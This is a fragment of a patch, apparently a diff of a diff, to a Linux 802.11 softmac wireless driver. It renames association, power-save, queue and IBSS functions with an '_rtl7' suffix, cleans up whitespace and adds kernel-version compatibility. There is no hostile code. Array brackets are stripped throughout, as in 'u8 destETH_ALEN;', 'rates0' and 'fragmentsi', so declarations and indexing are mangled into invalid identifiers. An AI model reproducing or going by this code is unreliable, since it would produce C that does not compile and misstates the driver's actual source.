+ 			break;
+@@ -1192,88 +1207,88 @@
+ 		tag = tag + *(tag); /* point to the last data byte of the tag */
+ 		tag++; /* point to the next tag */
+ 	}
+-	
++
+ 	//IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src));
+ 	if (ssidlen == 0) return 1;
+-	
++
+ 	if (!ssid) return 1; /* ssid not found in tagged param */
+ 	return (!strncmp(ssid, ieee->current_network.ssid, ssidlen));
+-		
++
+ }
+ 
+-int assoc_rq_parse(struct sk_buff *skb,u8* dest)
++int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest)
+ {
+ 	struct ieee80211_assoc_request_frame *a;
+-	
+-	if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - 
+-		sizeof(struct ieee80211_info_element))) { 
+-		
++
++	if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) -
++		sizeof(struct ieee80211_info_element))) {
++
+ 		IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len);
+ 		return -1;
+ 	}
+-	
++
+ 	a = (struct ieee80211_assoc_request_frame*) skb->data;
+-		
++
+ 	memcpy(dest,a->header.addr2,ETH_ALEN);
+-	
++
+ 	return 0;
+ }
+ 
+-static inline u16 assoc_parse(struct sk_buff *skb, int *aid)
++static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid)
+ {
+ 	struct ieee80211_assoc_response_frame *a;
+-	if (skb->len <  sizeof(struct ieee80211_assoc_response_frame)){ 
++	if (skb->len <  sizeof(struct ieee80211_assoc_response_frame)){
+ 		IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len);
+ 		return 0xcafe;
+ 	}
+-	
++
+ 	a = (struct ieee80211_assoc_response_frame*) skb->data;
+ 	*aid = le16_to_cpu(a->aid) & 0x3fff;
+ 	return le16_to_cpu(a->status);
+ }
+ 
+ static inline void
+-ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb)
++ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+ 	u8 destETH_ALEN;
+-	
++
+ 	//IEEE80211DMESG("Rx probe");
+ 	ieee->softmac_stats.rx_probe_rq++;
+ 	//DMESG("Dest is "MACSTR, MAC2STR(dest));
+-	if (probe_rq_parse(ieee, skb, dest)){
++	if (probe_rq_parse_rtl7(ieee, skb, dest)){
+ 		//IEEE80211DMESG("Was for me!");
+ 		ieee->softmac_stats.tx_probe_rs++;
+-		ieee80211_resp_to_probe(ieee, dest);
++		ieee80211_resp_to_probe_rtl7(ieee, dest);
+ 	}
+ }
+ 
+ static inline void
+-ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb)
++ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+ 	u8 destETH_ALEN;
+ 	int status;
+ 	//IEEE80211DMESG("Rx probe");
+ 	ieee->softmac_stats.rx_auth_rq++;
+-	
+-	if ((status = auth_rq_parse(skb, dest))!= -1){
+-		ieee80211_resp_to_auth(ieee, status, dest);
++
++	if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){
++		ieee80211_resp_to_auth_rtl7(ieee, status, dest);
+ 	}
+ 	//DMESG("Dest is "MACSTR, MAC2STR(dest));
+-	
++
+ }
+ 
+ static inline void
+-ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb)
++ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+-	
++
+ 	u8 destETH_ALEN;
+ 	//unsigned long flags;
+-	
++
+ 	ieee->softmac_stats.rx_ass_rq++;
+-	if (assoc_rq_parse(skb,dest) != -1){
+-		ieee80211_resp_to_assoc_rq(ieee, dest);
++	if (assoc_rq_parse_rtl7(skb,dest) != -1){
++		ieee80211_resp_to_assoc_rq_rtl7(ieee, dest);
+ 	}
+-	
++
+ 	printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest));
+ 	//FIXME
+ 	#if 0
+@@ -1285,25 +1300,25 @@
+ 
+ 
+ 
+-void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr)
++void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr)
+ {
+-	
+-	struct sk_buff *buf = ieee80211_null_func(ieee, pwr);
+-	
++
++	struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr);
++
+ 	if (buf)
+-		softmac_ps_mgmt_xmit(buf, ieee);
++		softmac_ps_mgmt_xmit_rtl7(buf, ieee);
+ 
+-} 
++}
+ 
+ 
+-short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l)
+-{	
++short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l)
++{
+ 	int timeout = ieee->ps_timeout;
+ 	u8 dtim;
+ 	/*if(ieee->ps == IEEE80211_PS_DISABLED ||
+-		ieee->iw_mode != IW_MODE_INFRA || 
++		ieee->iw_mode != IW_MODE_INFRA ||
+ 		ieee->state != IEEE80211_LINKED)
+-		
++
+ 		return 0;
+ 	*/
+ 	dtim = ieee->current_network.dtim_data;
+@@ -1312,133 +1327,133 @@
+ 		return 0;
+ 	//printk("VALID\n");
+ 	ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID;
+-		
++
+ 	if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps))
+ 		return 2;
+-	
++
+ 	if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout)))
+ 		return 0;
+-	
++
+ 	if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout)))
+ 		return 0;
+-	
++
+ 	if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) &&
+ 		(ieee->mgmt_queue_tail != ieee->mgmt_queue_head))
+ 		return 0;
+-	
++
+ 	if(time_l){
+-		*time_l = ieee->current_network.last_dtim_sta_time0 
+-			+ (ieee->current_network.beacon_interval 
++		*time_l = ieee->current_network.last_dtim_sta_time0
++			+ (ieee->current_network.beacon_interval
+ 			* ieee->current_network.dtim_period) * 1000;
+ 	}
+-	
++
+ 	if(time_h){
+ 		*time_h = ieee->current_network.last_dtim_sta_time1;
+ 		if(time_l && *time_l < ieee->current_network.last_dtim_sta_time0)
+ 			*time_h += 1;
+ 	}
+-	
++
+ 	return 1;
+-	
+-	
++
++
+ }
+ 
+-inline void ieee80211_sta_ps(struct ieee80211_device *ieee)
++inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee)
+ {
+ 
+ 	u32 th,tl;
+ 	short sleep;
+-	
++
+ 	unsigned long flags,flags2;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if((ieee->ps == IEEE80211_PS_DISABLED ||
+-		ieee->iw_mode != IW_MODE_INFRA || 
++		ieee->iw_mode != IW_MODE_INFRA ||
+ 		ieee->state != IEEE80211_LINKED)){
+-		
+-		#warning CHECK_LOCK_HERE
++
++//		#warning CHECK_LOCK_HERE
+ 		spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-		
+-		ieee80211_sta_wakeup(ieee, 1);	
+-		
++
++		ieee80211_sta_wakeup_rtl7(ieee, 1);
++		printk(KERN_WARNING "wakeup 1!\n" );
+ 		spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+ 	}
+-	
+-	sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl);
++
++	sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl);
+ 	/* 2 wake, 1 sleep, 0 do nothing */
+ 	if(sleep == 0)
+ 		goto out;
+-	
++
+ 	if(sleep == 1){
+-	
++
+ 		if(ieee->sta_sleep == 1)
+ 			ieee->enter_sleep_state(ieee->dev,th,tl);
+-		
++
+ 		else if(ieee->sta_sleep == 0){
+ 		//	printk("send null 1\n");
+ 			spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-			
++
+ 			if(ieee->ps_is_queue_empty(ieee->dev)){
+-				
+-			
++
++
+ 				ieee->sta_sleep = 2;
+-				
++
+ 				ieee->ps_request_tx_ack(ieee->dev);
+-				
+-				ieee80211_sta_ps_send_null_frame(ieee,1);
+-				
++
++				ieee80211_sta_ps_send_null_frame_rtl7(ieee,1);
++
+ 				ieee->ps_th = th;
+ 				ieee->ps_tl = tl;
+-			}		
++			}
+ 			spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+-			
++
+ 		}
+-		
+-		
++
++
+ 	}else if(sleep == 2){
+-#warning CHECK_LOCK_HERE
++// #warning CHECK_LOCK_HERE
+ 		spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-			
+-		ieee80211_sta_wakeup(ieee,1);
+-		
++
++		ieee80211_sta_wakeup_rtl7(ieee,1);
++		printk(KERN_WARNING "wakeup 2!\n" );
+ 		spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+ 	}
+ 
+-out:	
++out:
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ }
+ 
+-void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl)
++void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl)
+ {
+ 	if(ieee->sta_sleep == 0){
+ 		if(nl){
+ 			printk("Warning: driver is probably failing to report TX ps error\n");
+ 			ieee->ps_request_tx_ack(ieee->dev);
+-			ieee80211_sta_ps_send_null_frame(ieee, 0);
++			ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0);
+ 		}
+ 		return;
+-		
++
+ 	}
+-	
+-	if(ieee->sta_sleep == 1) 
++
++	if(ieee->sta_sleep == 1)
+ 		ieee->sta_wake_up(ieee->dev);
+-		
++
+ 	ieee->sta_sleep = 0;
+-	
++
+ 	if(nl){
+ 		ieee->ps_request_tx_ack(ieee->dev);
+-		ieee80211_sta_ps_send_null_frame(ieee, 0);
++		ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0);
+ 	}
+ }
+ 
+-void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success)
++void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success)
+ {
+ 	unsigned long flags,flags2;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if(ieee->sta_sleep == 2){
+ 		/* Null frame with PS bit set */
+ 		if(success){
+@@ -1451,10 +1466,10 @@
+ 	}
+ 	/* 21112005 - tx again null without PS bit if lost */
+ 	else {
+-	
++
+ 		if((ieee->sta_sleep == 0) && !success){
+ 			spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-			ieee80211_sta_ps_send_null_frame(ieee, 0);
++			ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0);
+ 			spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+ 		}
+ 	}
+@@ -1462,129 +1477,132 @@
+ }
+ 
+ inline int
+-ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb,
++ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype)
+ {
+ 	struct ieee80211_hdr_3addr *header;
+-	header = (struct ieee80211_hdr_3addr *) skb->data;
+ 	u16 errcode;
+ 	u8* challenge;
+ 	int chlen;
+ 	int aid;
+-	
++
++	chlen = 0;
++
++	header = (struct ieee80211_hdr_3addr *) skb->data;
++
+ 	if(!ieee->proto_started)
+ 		return 0;
+-	
++
+ 	if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED &&
+-		ieee->iw_mode == IW_MODE_INFRA && 
++		ieee->iw_mode == IW_MODE_INFRA &&
+ 		ieee->state == IEEE80211_LINKED))
+-	
++
+ 		tasklet_schedule(&ieee->ps_task);
+-				
++
+ 	if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP &&
+ 		WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON)
+ 		ieee->last_rx_ps_time = jiffies;
+-		
++
+ 	switch (WLAN_FC_GET_STYPE(header->frame_ctl)) {
+-	
++
+ 		case IEEE80211_STYPE_ASSOC_RESP:
+ 		case IEEE80211_STYPE_REASSOC_RESP:
+-		
++
+ 			IEEE80211_DEBUG_MGMT("received REASSOCIATION RESPONSE (%d)\n",
+ 					WLAN_FC_GET_STYPE(header->frame_ctl));
+ 			if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) &&
+-				ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && 
++				ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED &&
+ 				ieee->iw_mode == IW_MODE_INFRA){
+-				if (0 == (errcode=assoc_parse(skb, &aid))){
+-					
++				if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){
++
+ 					ieee->state=IEEE80211_LINKED;
+ 					ieee->assoc_id = aid;
+ 					ieee->softmac_stats.rx_ass_ok++;
+-					
+-					ieee80211_associate_complete(ieee);
++
++					ieee80211_associate_complete_rtl7(ieee);
+ 				}else{
+ 					ieee->softmac_stats.rx_ass_err++;
+ 					IEEE80211_DEBUG_MGMT(
+ 						"Association response status code 0x%x\n",
+ 						errcode);
+-					ieee80211_associate_abort(ieee); 
++					ieee80211_associate_abort_rtl7(ieee);
+ 				}
+ 			}
+ 			break;
+-		
++
+ 		case IEEE80211_STYPE_ASSOC_REQ:
+ 		case IEEE80211_STYPE_REASSOC_REQ:
+-		
++
+ 			if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) &&
+ 				ieee->iw_mode == IW_MODE_MASTER)
+-					
+-				ieee80211_rx_assoc_rq(ieee, skb);
++
++				ieee80211_rx_assoc_rq_rtl7(ieee, skb);
+ 			break;
+-			
++
+ 		case IEEE80211_STYPE_AUTH:
+-		
++
+ 			if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){
+-				if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && 
++				if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING &&
+ 				ieee->iw_mode == IW_MODE_INFRA){
+-			
++
+ 						IEEE80211_DEBUG_MGMT("Received authentication response");
+-						
+-						if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){
++
++						if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){
+ 							if(ieee->open_wep || !challenge){
+ 								ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED;
+ 								ieee->softmac_stats.rx_auth_rs_ok++;
+-								
+-								ieee80211_associate_step2(ieee);
++
++								ieee80211_associate_step2_rtl7(ieee);
+ 							}else{
+-								ieee80211_auth_challenge(ieee, challenge, chlen);
++								ieee80211_auth_challenge_rtl7(ieee, challenge, chlen);
+ 							}
+ 						}else{
+ 							ieee->softmac_stats.rx_auth_rs_err++;
+ 							IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode);
+-							ieee80211_associate_abort(ieee);
++							ieee80211_associate_abort_rtl7(ieee);
+ 						}
+-						
++
+ 					}else if (ieee->iw_mode == IW_MODE_MASTER){
+-						ieee80211_rx_auth_rq(ieee, skb);
++						ieee80211_rx_auth_rq_rtl7(ieee, skb);
+ 					}
+ 				}
+ 			break;
+-				
++
+ 		case IEEE80211_STYPE_PROBE_REQ:
+-		
+-			if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && 
+-				((ieee->iw_mode == IW_MODE_ADHOC || 
++
++			if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) &&
++				((ieee->iw_mode == IW_MODE_ADHOC ||
+ 				ieee->iw_mode == IW_MODE_MASTER) &&
+ 				ieee->state == IEEE80211_LINKED))
+-				
+-				ieee80211_rx_probe_rq(ieee, skb);
++
++				ieee80211_rx_probe_rq_rtl7(ieee, skb);
+ 			break;
+-			
++
+ 		case IEEE80211_STYPE_DISASSOC:
+ 		case IEEE80211_STYPE_DEAUTH:
+-			/* FIXME for now repeat all the association procedure 
++			/* FIXME for now repeat all the association procedure
+ 			* both for disassociation and deauthentication
+ 			*/
+ 			if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) &&
+-				ieee->state == IEEE80211_LINKED && 
++				ieee->state == IEEE80211_LINKED &&
+ 				ieee->iw_mode == IW_MODE_INFRA){
+-				
++
+ 				ieee->state = IEEE80211_ASSOCIATING;
+ 				ieee->softmac_stats.reassoc++;
+-				
+-				notify_wx_assoc_event(ieee);
+-								
++
++				notify_wx_assoc_event_rtl7(ieee);
++
+ 				queue_work(ieee->wq, &ieee->associate_procedure_wq);
+ 			}
+-			
++
+ 			break;
+-		
+-		default: 
++
++		default:
+ 			return -1;
+ 			break;
+ 	}
+-	
++
+ 	//dev_kfree_skb_any(skb);
+ 	return 0;
+ }
+@@ -1602,21 +1620,21 @@
+  * This might be useful if each fragment need it's own
+  * descriptor, thus just keep a total free memory > than
+  * the max fragmentation treshold is not enought.. If the
+- * ieee802.11 stack passed a TXB struct then you needed  
+- * to keep N free descriptors where 
++ * ieee802.11 stack passed a TXB struct then you needed
++ * to keep N free descriptors where
+  * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD
+  * In this way you need just one and the 802.11 stack
+- * will take care of buffering fragments and pass them to 
++ * will take care of buffering fragments and pass them to
+  * to the driver later, when it wakes the queue.
+- */ 
+- 
+-void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee)
++ */
++
++void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee)
+ {
+-	
+-	
++
++
+ 	unsigned long flags;
+ 	int  i;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock,flags);
+ 	#if 0
+ 	if(ieee->queue_stop){
+@@ -1627,13 +1645,13 @@
+ 		err = 1;
+ 		goto exit;
+ 	}
+-	
++
+ 	ieee->stats.tx_bytes+=skb->len;
+-	
+-	
++
++
+ 	txb=ieee80211_skb_to_txb(ieee,skb);
+-	
+-	
++
++
+ 	if(txb==NULL){
+ 		IEEE80211DMESG("WW: IEEE stack failed to provide txb");
+ 		//dev_kfree_skb_any(skb);
+@@ -1641,12 +1659,12 @@
+ 		goto exit;
+ 	}
+ 	#endif
+-	
++
+ 	/* called with 2nd parm 0, no tx mgmt lock required */
+-	ieee80211_sta_wakeup(ieee,0);
++	ieee80211_sta_wakeup_rtl7(ieee,0);
+ 
+ 	for(i = 0; i < txb->nr_frags; i++) {
+-	
++
+ 		if (ieee->queue_stop){
+ 			ieee->tx_pending.txb = txb;
+ 			ieee->tx_pending.frag = i;
+@@ -1658,29 +1676,29 @@
+ 				//(i+1)<txb->nr_frags);
+ 			ieee->stats.tx_packets++;
+ 			ieee->stats.tx_bytes += txb->fragmentsi->len;
+-			ieee->dev->trans_start = jiffies; 
++			ieee->dev->trans_start = jiffies;
+ 		}
+-	}	
+-	
+-	ieee80211_txb_free(txb);
+-	
++	}
++
++	ieee80211_txb_free_rtl7(txb);
++
+ 	exit:
+ 	spin_unlock_irqrestore(&ieee->lock,flags);
+-	
++
+ }
+ 
+ /* called with ieee->lock acquired */
+-void ieee80211_resume_tx(struct ieee80211_device *ieee)
++void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee)
+ {
+ 	int i;
+ 	for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) {
+-		
++
+ 		if (ieee->queue_stop){
+ 			ieee->tx_pending.frag = i;
+ 			return;
+ 		}else{
+-		
+-			ieee->softmac_data_hard_start_xmit( 
++
++			ieee->softmac_data_hard_start_xmit(
+ 				ieee->tx_pending.txb->fragmentsi,
+ 				ieee->dev,ieee->rate);
+ 				//(i+1)<ieee->tx_pending.txb->nr_frags);
+@@ -1688,21 +1706,21 @@
+ 			ieee->dev->trans_start = jiffies;
+ 		}
+ 	}
+-	
+-	
+-	ieee80211_txb_free(ieee->tx_pending.txb);
++
++
++	ieee80211_txb_free_rtl7(ieee->tx_pending.txb);
+ 	ieee->tx_pending.txb = NULL;
+ }
+ 
+ 
+-void ieee80211_reset_queue(struct ieee80211_device *ieee)
++void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock,flags);
+-	init_mgmt_queue(ieee);
++	init_mgmt_queue_rtl7(ieee);
+ 	if (ieee->tx_pending.txb){
+-		ieee80211_txb_free(ieee->tx_pending.txb);
++		ieee80211_txb_free_rtl7(ieee->tx_pending.txb);
+ 		ieee->tx_pending.txb = NULL;
+ 	}
+ 	ieee->queue_stop = 0;
+@@ -1710,23 +1728,23 @@
+ 
+ }
+ 
+-void ieee80211_wake_queue(struct ieee80211_device *ieee)
++void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 
+ 	unsigned long flags;
+ 	struct sk_buff *skb;
+ 	struct ieee80211_hdr_3addr  *header;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock,flags);
+ 	if (! ieee->queue_stop) goto exit;
+-	
++
+ 	ieee->queue_stop = 0;
+-	
++
+ 	if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){
+-		while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){
+-			
++		while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){
++
+ 			header = (struct ieee80211_hdr_3addr  *) skb->data;
+-			
++
+ 			header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+ 
+ 			if (ieee->seq_ctrl == 0xFFF)
+@@ -1738,19 +1756,19 @@
+ 		}
+ 	}
+ 	if (!ieee->queue_stop && ieee->tx_pending.txb)
+-		ieee80211_resume_tx(ieee);
+-	
++		ieee80211_resume_tx_rtl7(ieee);
++
+ 	if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){
+ 		ieee->softmac_stats.swtxawake++;
+ 		netif_wake_queue(ieee->dev);
+ 	}
+-	
++
+ exit :
+ 	spin_unlock_irqrestore(&ieee->lock,flags);
+ }
+ 
+ 
+-void ieee80211_stop_queue(struct ieee80211_device *ieee)
++void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 	//unsigned long flags;
+ 	//spin_lock_irqsave(&ieee->lock,flags);
+@@ -1761,81 +1779,88 @@
+ 	}
+ 	ieee->queue_stop = 1;
+ 	//spin_unlock_irqrestore(&ieee->lock,flags);
+-	
++
+ }
+ 
+ 
+-inline void ieee80211_randomize_cell(struct ieee80211_device *ieee)
++inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee)
+ {
+-	
++
+ 	get_random_bytes(ieee->current_network.bssid, ETH_ALEN);
+-	
++
+ 	/* an IBSS cell address must have the two less significant
+-	 * bits of the first byte = 2 
++	 * bits of the first byte = 2
+ 	 */
+ 	ieee->current_network.bssid0 &= ~0x01;
+ 	ieee->current_network.bssid0 |= 0x02;
+ }
+ 
+ /* called in user context only */
+-void ieee80211_start_master_bss(struct ieee80211_device *ieee)
++void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->assoc_id = 1;
+-	
++
+ 	if (ieee->current_network.ssid_len == 0){
+-		strncpy(ieee->current_network.ssid, 
++		strncpy(ieee->current_network.ssid,
+ 			IEEE80211_DEFAULT_TX_ESSID,
+ 			IW_ESSID_MAX_SIZE);
+-			
++
+ 		ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID);
+ 		ieee->ssid_set = 1;
+ 	}
+-	
++
+ 	memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN);
+-	 
++
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+ 	ieee->state = IEEE80211_LINKED;
+ 	ieee->link_change(ieee->dev);
+-	notify_wx_assoc_event(ieee);
+-	
++	notify_wx_assoc_event_rtl7(ieee);
++
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+-	
++
+ 	netif_carrier_on(ieee->dev);
+ }
+ 
+-void ieee80211_start_monitor_mode(struct ieee80211_device *ieee)
++void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if(ieee->raw_tx){
+-		
++
+ 		if (ieee->data_hard_resume)
+ 			ieee->data_hard_resume(ieee->dev);
+-	
++
+ 		netif_carrier_on(ieee->dev);
+ 	}
+ }
+-void ieee80211_start_ibss_wq(struct ieee80211_device *ieee)
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_start_ibss_wq_rtl7(struct work_struct *work)
+ {
+-	
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq);
++#else
++void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
++
+ 	/* iwconfig mode ad-hoc will schedule this and return
+ 	 * on the other hand this will block further iwconfig SET
+ 	 * operations because of the wx_sem hold.
+ 	 * Anyway some most set operations set a flag to speed-up
+-	 * (abort) this wq (when syncro scanning) before sleeping 
++	 * (abort) this wq (when syncro scanning) before sleeping
+ 	 * on the semaphore
+ 	 */
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	if (ieee->current_network.ssid_len == 0){
+ 		strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID);
+ 		ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID);
+ 		ieee->ssid_set = 1;
+-	} 
+-	
++	}
++
+ 	/* check if we have this cell in our network list */
+-	ieee80211_softmac_check_all_nets(ieee);
+-	
++	ieee80211_softmac_check_all_nets_rtl7(ieee);
++
+ 	/* if not then the state is not linked. Maybe the user swithced to
+ 	 * ad-hoc mode just after being in monitor mode, or just after
+ 	 * being very few time in managed mode (so the card have had no
+@@ -1851,29 +1876,29 @@
+ 	 * associated.
+ 	 */
+ 	if (ieee->state == IEEE80211_NOLINK)
+-		ieee80211_start_scan_syncro(ieee);
++		ieee80211_start_scan_syncro_rtl7(ieee);
+ 
+ 	/* the network definitively is not here.. create a new cell */
+ 	if (ieee->state == IEEE80211_NOLINK){
+-		printk("creating new IBSS cell\n"); 
++		printk("creating new IBSS cell\n");
+ 		if(!ieee->wap_set)
+-			ieee80211_randomize_cell(ieee);
+-		
++			ieee80211_randomize_cell_rtl7(ieee);
++
+ 		if(ieee->modulation & IEEE80211_CCK_MODULATION){
+-		
++
+ 			ieee->current_network.rates_len = 4;
+-			
++
+ 			ieee->current_network.rates0 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB;
+ 			ieee->current_network.rates1 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB;
+ 			ieee->current_network.rates2 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB;
+ 			ieee->current_network.rates3 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB;
+-				
++
+ 		}else
+ 			ieee->current_network.rates_len = 0;
+-		
++
+ 		if(ieee->modulation & IEEE80211_OFDM_MODULATION){
+ 			ieee->current_network.rates_ex_len = 8;
+-			
++
+ 			ieee->current_network.rates_ex0 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB;
+ 			ieee->current_network.rates_ex1 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB;
+ 			ieee->current_network.rates_ex2 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB;
+@@ -1882,44 +1907,44 @@
+ 			ieee->current_network.rates_ex5 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB;
+ 			ieee->current_network.rates_ex6 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB;
+ 			ieee->current_network.rates_ex7 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB;
+-			
++
+ 			ieee->rate = 540;
+ 		}else{
+ 			ieee->current_network.rates_ex_len = 0;
+ 			ieee->rate = 110;
+ 		}
+-	
++
+ 		ieee->current_network.atim_window = 0;
+ 		ieee->current_network.capability = WLAN_CAPABILITY_IBSS;
+ 		if(ieee->short_slot)
+ 			ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT;
+-				 
++
+ 	}
+-	
++
+ 	ieee->state = IEEE80211_LINKED;
+-		
++
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+ 	ieee->link_change(ieee->dev);
+-	
+-	notify_wx_assoc_event(ieee);
+-	
+-	ieee80211_start_send_beacons(ieee);
+-	
++
++	notify_wx_assoc_event_rtl7(ieee);
++
++	ieee80211_start_send_beacons_rtl7(ieee);
++
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+-	
++
+ 	netif_carrier_on(ieee->dev);
+-	
++
+ 	up(&ieee->wx_sem);
+ }
+ 
+-inline void ieee80211_start_ibss(struct ieee80211_device *ieee)
++inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee)
+ {
+ 	queue_work(ieee->wq, &ieee->start_ibss_wq);
+ }
+ 
+ /* this is called only in user context, with wx_sem held */
+-void ieee80211_start_bss(struct ieee80211_device *ieee)
++void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+ 	/* check if we have already found the net we
+@@ -1927,8 +1952,8 @@
+ 	 * if not (we are disassociated and we are not
+ 	 * in associating / authenticating phase) start the background scanning.
+ 	 */
+-	ieee80211_softmac_check_all_nets(ieee);
+-	
++	ieee80211_softmac_check_all_nets_rtl7(ieee);
++
+ 	/* ensure no-one start an associating process (thus setting
+ 	 * the ieee->state to ieee80211_ASSOCIATING) while we
